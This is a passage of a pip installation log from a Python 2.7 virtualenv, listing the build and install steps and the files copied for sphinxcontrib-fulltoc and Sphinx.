'pip-egg-info/MarkupSafe.egg-info/SOURCES.txt' - - reading manifest template 'MANIFEST.in' - - writing manifest file 'pip-egg-info/MarkupSafe.egg-info/SOURCES.txt' - - Source in /home/isis/.virtualenvs/python-gnupg/build/markupsafe has version 0.18, which satisfies requirement markupsafe (from Jinja2>=2.3->Sphinx>=0.6->sphinxcontrib-fulltoc) - -Installing collected packages: sphinxcontrib-fulltoc, Sphinx, docutils, Pygments, Jinja2, markupsafe - - Running setup.py install for sphinxcontrib-fulltoc - - Running command /home/isis/.virtualenvs/python-gnupg/bin/python -c "import setuptools;__file__='/home/isis/.virtualenvs/python-gnupg/build/sphinxcontrib-fulltoc/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-W2CKH1-record/install-record.txt --single-version-externally-managed --install-headers /home/isis/.virtualenvs/python-gnupg/include/site/python2.7 - - running install - - running build - - running build_py - - creating build - - creating build/lib.linux-x86_64-2.7 - - copying distribute_setup.py -> build/lib.linux-x86_64-2.7 - - creating build/lib.linux-x86_64-2.7/sphinxcontrib - - copying sphinxcontrib/__init__.py -> build/lib.linux-x86_64-2.7/sphinxcontrib - - copying sphinxcontrib/fulltoc.py -> build/lib.linux-x86_64-2.7/sphinxcontrib - - running egg_info - - writing requirements to sphinxcontrib_fulltoc.egg-info/requires.txt - - writing sphinxcontrib_fulltoc.egg-info/PKG-INFO - - writing namespace_packages to sphinxcontrib_fulltoc.egg-info/namespace_packages.txt - - writing top-level names to sphinxcontrib_fulltoc.egg-info/top_level.txt - - writing dependency_links to sphinxcontrib_fulltoc.egg-info/dependency_links.txt - - warning: manifest_maker: standard file '-c' not found - - - - reading manifest file 'sphinxcontrib_fulltoc.egg-info/SOURCES.txt' - - reading manifest template 'MANIFEST.in' - - writing manifest file 'sphinxcontrib_fulltoc.egg-info/SOURCES.txt' - - running install_lib - - copying distribute_setup.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages - - Skipping installation of /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinxcontrib/__init__.py (namespace package) - - copying sphinxcontrib/fulltoc.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinxcontrib - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/distribute_setup.py to distribute_setup.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinxcontrib/fulltoc.py to fulltoc.pyc - - running install_egg_info - - Copying sphinxcontrib_fulltoc.egg-info to /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinxcontrib_fulltoc-1.0-py2.7.egg-info - - Installing /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinxcontrib_fulltoc-1.0-py2.7-nspkg.pth - - running install_scripts - - writing list of installed files to '/tmp/pip-W2CKH1-record/install-record.txt' - - Running setup.py install for Sphinx - - Running command /home/isis/.virtualenvs/python-gnupg/bin/python -c "import setuptools;__file__='/home/isis/.virtualenvs/python-gnupg/build/Sphinx/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-Vmfaee-record/install-record.txt --single-version-externally-managed --install-headers /home/isis/.virtualenvs/python-gnupg/include/site/python2.7 - - running install - - running build - - running build_py - - creating build - - creating build/lib.linux-x86_64-2.7 - - creating build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/pygments_styles.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/jinja2glue.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/roles.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/quickstart.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/cmdline.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/environment.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/highlighting.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/config.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/__init__.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/setup_command.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/theming.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/addnodes.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/errors.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/apidoc.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/versioning.py -> build/lib.linux-x86_64-2.7/sphinx - - copying sphinx/application.py -> build/lib.linux-x86_64-2.7/sphinx - - creating build/lib.linux-x86_64-2.7/sphinx/writers - - copying sphinx/writers/websupport.py -> build/lib.linux-x86_64-2.7/sphinx/writers - - copying sphinx/writers/text.py -> build/lib.linux-x86_64-2.7/sphinx/writers - - copying sphinx/writers/latex.py -> build/lib.linux-x86_64-2.7/sphinx/writers - - copying sphinx/writers/texinfo.py -> build/lib.linux-x86_64-2.7/sphinx/writers - - copying sphinx/writers/manpage.py -> build/lib.linux-x86_64-2.7/sphinx/writers - - copying sphinx/writers/html.py -> build/lib.linux-x86_64-2.7/sphinx/writers - - copying sphinx/writers/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/writers - - creating build/lib.linux-x86_64-2.7/sphinx/domains - - copying sphinx/domains/c.py -> build/lib.linux-x86_64-2.7/sphinx/domains - - copying sphinx/domains/rst.py -> build/lib.linux-x86_64-2.7/sphinx/domains - - copying sphinx/domains/std.py -> build/lib.linux-x86_64-2.7/sphinx/domains - - copying sphinx/domains/python.py -> build/lib.linux-x86_64-2.7/sphinx/domains - - copying sphinx/domains/cpp.py -> build/lib.linux-x86_64-2.7/sphinx/domains - - copying sphinx/domains/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/domains - - copying sphinx/domains/javascript.py -> build/lib.linux-x86_64-2.7/sphinx/domains - - creating build/lib.linux-x86_64-2.7/sphinx/locale - - copying sphinx/locale/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/locale - - creating build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/jsmath.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/refcounting.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/viewcode.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/ifconfig.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/autodoc.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/mathjax.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/todo.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/pngmath.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/inheritance_diagram.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/intersphinx.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/doctest.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/coverage.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/graphviz.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/mathbase.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/oldcmarkup.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - copying sphinx/ext/extlinks.py -> build/lib.linux-x86_64-2.7/sphinx/ext - - creating build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/websupport.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/matching.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/pycompat.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/nodes.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/osutil.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/png.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/console.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/stemmer.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/inspect.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/jsdump.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/smartypants.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/tags.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/docstrings.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/texescape.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/jsonimpl.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/docfields.py -> build/lib.linux-x86_64-2.7/sphinx/util - - copying sphinx/util/compat.py -> build/lib.linux-x86_64-2.7/sphinx/util - - creating build/lib.linux-x86_64-2.7/sphinx/websupport - - copying sphinx/websupport/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/websupport - - copying sphinx/websupport/errors.py -> build/lib.linux-x86_64-2.7/sphinx/websupport - - creating build/lib.linux-x86_64-2.7/sphinx/pycode - - copying sphinx/pycode/nodes.py -> build/lib.linux-x86_64-2.7/sphinx/pycode - - copying sphinx/pycode/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/pycode - - creating build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/epub.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/websupport.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/text.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/latex.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/linkcheck.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/devhelp.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/texinfo.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/htmlhelp.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/manpage.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/html.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/qthelp.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/gettext.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - copying sphinx/builders/changes.py -> build/lib.linux-x86_64-2.7/sphinx/builders - - creating build/lib.linux-x86_64-2.7/sphinx/directives - - copying sphinx/directives/other.py -> build/lib.linux-x86_64-2.7/sphinx/directives - - copying sphinx/directives/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/directives - - copying sphinx/directives/code.py -> build/lib.linux-x86_64-2.7/sphinx/directives - - creating build/lib.linux-x86_64-2.7/sphinx/search - - copying sphinx/search/ja.py -> build/lib.linux-x86_64-2.7/sphinx/search - - copying sphinx/search/en.py -> build/lib.linux-x86_64-2.7/sphinx/search - - copying sphinx/search/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/search - - creating build/lib.linux-x86_64-2.7/sphinx/ext/autosummary - - copying sphinx/ext/autosummary/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/ext/autosummary - - copying sphinx/ext/autosummary/generate.py -> build/lib.linux-x86_64-2.7/sphinx/ext/autosummary - - creating build/lib.linux-x86_64-2.7/sphinx/websupport/storage - - copying sphinx/websupport/storage/sqlalchemystorage.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/storage - - copying sphinx/websupport/storage/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/storage - - copying sphinx/websupport/storage/sqlalchemy_db.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/storage - - copying sphinx/websupport/storage/differ.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/storage - - creating build/lib.linux-x86_64-2.7/sphinx/websupport/search - - copying sphinx/websupport/search/xapiansearch.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/search - - copying sphinx/websupport/search/nullsearch.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/search - - copying sphinx/websupport/search/whooshsearch.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/search - - copying sphinx/websupport/search/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/search - - creating build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 - - copying sphinx/pycode/pgen2/driver.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 - - copying sphinx/pycode/pgen2/parse.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 - - copying sphinx/pycode/pgen2/token.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 - - copying sphinx/pycode/pgen2/grammar.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 - - copying sphinx/pycode/pgen2/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 - - copying sphinx/pycode/pgen2/tokenize.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 - - copying sphinx/pycode/pgen2/pgen.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 - - copying sphinx/pycode/pgen2/literals.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 - - running egg_info - - writing requirements to Sphinx.egg-info/requires.txt - - writing Sphinx.egg-info/PKG-INFO - - writing top-level names to Sphinx.egg-info/top_level.txt - - writing dependency_links to Sphinx.egg-info/dependency_links.txt - - writing entry points to Sphinx.egg-info/entry_points.txt - - warning: manifest_maker: standard file '-c' not found - - - - reading manifest file 'Sphinx.egg-info/SOURCES.txt' - - reading manifest template 'MANIFEST.in' - - no previously-included directories found matching 'doc/_build' - - writing manifest file 'Sphinx.egg-info/SOURCES.txt' - - creating build/lib.linux-x86_64-2.7/sphinx/texinputs - - copying sphinx/texinputs/Makefile -> build/lib.linux-x86_64-2.7/sphinx/texinputs - - copying sphinx/texinputs/fncychap.sty -> build/lib.linux-x86_64-2.7/sphinx/texinputs - - copying sphinx/texinputs/python.ist -> build/lib.linux-x86_64-2.7/sphinx/texinputs - - copying sphinx/texinputs/sphinx.sty -> build/lib.linux-x86_64-2.7/sphinx/texinputs - - copying sphinx/texinputs/sphinxhowto.cls -> build/lib.linux-x86_64-2.7/sphinx/texinputs - - copying sphinx/texinputs/sphinxmanual.cls -> build/lib.linux-x86_64-2.7/sphinx/texinputs - - copying sphinx/texinputs/tabulary.sty -> build/lib.linux-x86_64-2.7/sphinx/texinputs - - creating build/lib.linux-x86_64-2.7/sphinx/themes - - creating build/lib.linux-x86_64-2.7/sphinx/themes/agogo - - copying sphinx/themes/agogo/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/agogo - - copying sphinx/themes/agogo/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/agogo - - creating build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static - - copying sphinx/themes/agogo/static/agogo.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static - - copying sphinx/themes/agogo/static/bgfooter.png -> build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static - - copying sphinx/themes/agogo/static/bgtop.png -> build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static - - creating build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/defindex.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/domainindex.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/genindex-single.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/genindex-split.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/genindex.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/globaltoc.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/localtoc.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/opensearch.xml -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/page.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/relations.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/search.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/searchbox.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/searchresults.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/sourcelink.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - copying sphinx/themes/basic/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/basic - - creating build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes - - copying sphinx/themes/basic/changes/frameset.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes - - copying sphinx/themes/basic/changes/rstsource.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes - - copying sphinx/themes/basic/changes/versionchanges.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes - - creating build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/ajax-loader.gif -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/basic.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/comment-bright.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/comment-close.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/comment.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/doctools.js -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/down-pressed.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/down.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/file.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/jquery.js -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/minus.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/plus.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/searchtools.js_t -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/underscore.js -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/up-pressed.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/up.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - copying sphinx/themes/basic/static/websupport.js -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static - - creating build/lib.linux-x86_64-2.7/sphinx/themes/default - - copying sphinx/themes/default/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/default - - copying sphinx/themes/default/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/default - - creating build/lib.linux-x86_64-2.7/sphinx/themes/default/static - - copying sphinx/themes/default/static/default.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/default/static - - copying sphinx/themes/default/static/sidebar.js -> build/lib.linux-x86_64-2.7/sphinx/themes/default/static - - creating build/lib.linux-x86_64-2.7/sphinx/themes/epub - - copying sphinx/themes/epub/epub-cover.html -> build/lib.linux-x86_64-2.7/sphinx/themes/epub - - copying sphinx/themes/epub/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/epub - - copying sphinx/themes/epub/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/epub - - creating build/lib.linux-x86_64-2.7/sphinx/themes/epub/static - - copying sphinx/themes/epub/static/epub.css -> build/lib.linux-x86_64-2.7/sphinx/themes/epub/static - - creating build/lib.linux-x86_64-2.7/sphinx/themes/haiku - - copying sphinx/themes/haiku/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku - - copying sphinx/themes/haiku/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku - - creating build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static - - copying sphinx/themes/haiku/static/alert_info_32.png -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static - - copying sphinx/themes/haiku/static/alert_warning_32.png -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static - - copying sphinx/themes/haiku/static/bg-page.png -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static - - copying sphinx/themes/haiku/static/bullet_orange.png -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static - - copying sphinx/themes/haiku/static/haiku.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static - - creating build/lib.linux-x86_64-2.7/sphinx/themes/nature - - copying sphinx/themes/nature/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/nature - - creating build/lib.linux-x86_64-2.7/sphinx/themes/nature/static - - copying sphinx/themes/nature/static/nature.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/nature/static - - creating build/lib.linux-x86_64-2.7/sphinx/themes/pyramid - - copying sphinx/themes/pyramid/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid - - copying sphinx/themes/pyramid/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid - - creating build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static - - copying sphinx/themes/pyramid/static/dialog-note.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static - - copying sphinx/themes/pyramid/static/dialog-seealso.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static - - copying sphinx/themes/pyramid/static/dialog-topic.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static - - copying sphinx/themes/pyramid/static/dialog-warning.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static - - copying sphinx/themes/pyramid/static/epub.css -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static - - copying sphinx/themes/pyramid/static/footerbg.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static - - copying sphinx/themes/pyramid/static/headerbg.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static - - copying sphinx/themes/pyramid/static/ie6.css -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static - - copying sphinx/themes/pyramid/static/middlebg.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static - - copying sphinx/themes/pyramid/static/pyramid.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static - - copying sphinx/themes/pyramid/static/transparent.gif -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static - - creating build/lib.linux-x86_64-2.7/sphinx/themes/scrolls - - copying sphinx/themes/scrolls/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls - - copying sphinx/themes/scrolls/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls - - creating build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/artwork - - copying sphinx/themes/scrolls/artwork/logo.svg -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/artwork - - creating build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static - - copying sphinx/themes/scrolls/static/darkmetal.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static - - copying sphinx/themes/scrolls/static/headerbg.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static - - copying sphinx/themes/scrolls/static/logo.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static - - copying sphinx/themes/scrolls/static/metal.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static - - copying sphinx/themes/scrolls/static/navigation.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static - - copying sphinx/themes/scrolls/static/print.css -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static - - copying sphinx/themes/scrolls/static/scrolls.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static - - copying sphinx/themes/scrolls/static/theme_extras.js -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static - - copying sphinx/themes/scrolls/static/watermark.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static - - copying sphinx/themes/scrolls/static/watermark_blur.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static - - creating build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc - - copying sphinx/themes/sphinxdoc/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc - - copying sphinx/themes/sphinxdoc/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc - - creating build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static - - copying sphinx/themes/sphinxdoc/static/contents.png -> build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static - - copying sphinx/themes/sphinxdoc/static/navigation.png -> build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static - - copying sphinx/themes/sphinxdoc/static/sphinxdoc.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static - - creating build/lib.linux-x86_64-2.7/sphinx/themes/traditional - - copying sphinx/themes/traditional/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/traditional - - creating build/lib.linux-x86_64-2.7/sphinx/themes/traditional/static - - copying sphinx/themes/traditional/static/traditional.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/traditional/static - - copying sphinx/locale/sphinx.pot -> build/lib.linux-x86_64-2.7/sphinx/locale - - creating build/lib.linux-x86_64-2.7/sphinx/locale/bn - - creating build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES - - copying sphinx/locale/bn/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES - - copying sphinx/locale/bn/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES - - copying sphinx/locale/bn/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/ca - - creating build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES - - copying sphinx/locale/ca/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES - - copying sphinx/locale/ca/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES - - copying sphinx/locale/ca/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/cs - - creating build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES - - copying sphinx/locale/cs/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES - - copying sphinx/locale/cs/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES - - copying sphinx/locale/cs/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/da - - creating build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES - - copying sphinx/locale/da/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES - - copying sphinx/locale/da/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES - - copying sphinx/locale/da/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/de - - creating build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES - - copying sphinx/locale/de/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES - - copying sphinx/locale/de/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES - - copying sphinx/locale/de/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/es - - creating build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES - - copying sphinx/locale/es/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES - - copying sphinx/locale/es/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES - - copying sphinx/locale/es/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/et - - creating build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES - - copying 